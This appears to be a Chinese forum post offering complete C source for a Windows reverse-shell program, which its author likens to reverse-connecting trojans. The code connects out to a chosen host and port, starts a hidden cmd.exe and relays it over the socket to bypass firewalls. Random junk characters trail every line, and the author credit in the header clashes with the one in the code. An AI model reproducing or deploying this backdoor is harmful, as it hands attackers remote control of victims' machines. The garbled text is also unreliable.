这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ku^2K
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/* ============================== <.7W:s,f=
Rebound port in Windows NT g2
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By wind,2006/7 Y!E|X 3
===============================*/ 1?+)T%"
#include x^F2Ywp%
#include '.&,.E&{$
y(#F&^|
#pragma comment(lib,"wsock32.lib") BcGQpv&x
/` x|-9
void OutputShell(); D/{ Spw@
SOCKET sClient; _ )^n[_E
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; /=OSGIJzm
b!37:V\#}
void main(int argc,char **argv) X>jwjRK
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{ Dc>)j s|"
WSADATA stWsaData; r52,f%nlm
int nRet; ,TO&KO1;&
SOCKADDR_IN stSaiClient,stSaiServer; \;tKss!|
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if(argc != 3) OaxE3bDT
{ m4P=,=%
printf("Useage:\n\rRebound DestIP DestPort\n"); Df/f&;`
return; Vo2frWF$
} r3 {o_w
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WSAStartup(MAKEWORD(2,2),&stWsaData); "=!QSb
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ]O&A:Us
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stSaiClient.sin_family = AF_INET; ;v+CQx
stSaiClient.sin_port = htons(0); e;}5~dSi
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); >Q\H1|?
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) J=]w$e ?.P
{ Zr2QeLQC(
printf("Bind Socket Failed!\n"); !c`Q?aGV)
return; 0\}j[-`pF
} Y=rW.yK8
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stSaiServer.sin_family = AF_INET; lR^dT4
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); z8"=W,2
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); !xqG-rd
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) R QO{fC
{ O,1u\Zy/
printf("Connect Error!"); VZlvmN
return; SS~Txt75m
} yxQAO_C
OutputShell(); =v5(*$"pd"
} ^lMnwqx<
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void OutputShell() c!\y\r
{ J2[QHr&tn
char szBuff[1024]; /s*>V@Q
SECURITY_ATTRIBUTES stSecurityAttributes; \T]"pE+8l
OSVERSIONINFO stOsversionInfo; UZX)1?U
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; >qUO_>
STARTUPINFO stStartupInfo; Tx_(^K
char *szShell; Iq}h}Wd
PROCESS_INFORMATION stProcessInformation; |~CnELF)
unsigned long lBytesRead; YL=k&QG
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); E:E&Wv?r
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); `Zi #rr|)L
stSecurityAttributes.lpSecurityDescriptor = 0; o5$K^2^g
stSecurityAttributes.bInheritHandle = TRUE; D\l.?<C
_0j}(Q>|H#
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); x)yf!Dv5$
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); fY"28#
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); RK3/!C`
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; X5/{Mx`8Oz
stStartupInfo.wShowWindow = SW_HIDE; coFg69\^
stStartupInfo.hStdInput = hReadPipe; O`0$pn
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; x[^A9
r;T/
GetVersionEx(&stOsversionInfo); QF;<%QF:
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switch(stOsversionInfo.dwPlatformId) h{xERIV1u
{ ?-84_i
case 1: XP^6*}H.*
szShell = "command.com"; 7~Ga>BK
break; yl ;'Ru:
default: ,"VQ0Z1
szShell = "cmd.exe"; eo_T.q
break; 2M#CJ&
} 1DcarF
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); O({_x@
jgo@~,5R
send(sClient,szMsg,77,0); #rr-4$w+
while(1) l9ihW^
{ @ty|HXW
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Z=c@Gd
if(lBytesRead) >C}RZdO~
{ r"[T9
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); nm-Y?!J
send(sClient,szBuff,lBytesRead,0); |YFD|
} `j<tI6[e
else ?^vZ{B)&0E
{ f,a %@WT
lBytesRead=recv(sClient,szBuff,1024,0); Lb{D5k*XU
if(lBytesRead<=0) break; y&Hh8|'mC
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ZtLn*M
} ?.4l1X6Ba
} ibc/x v2
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return; ,6S8s
}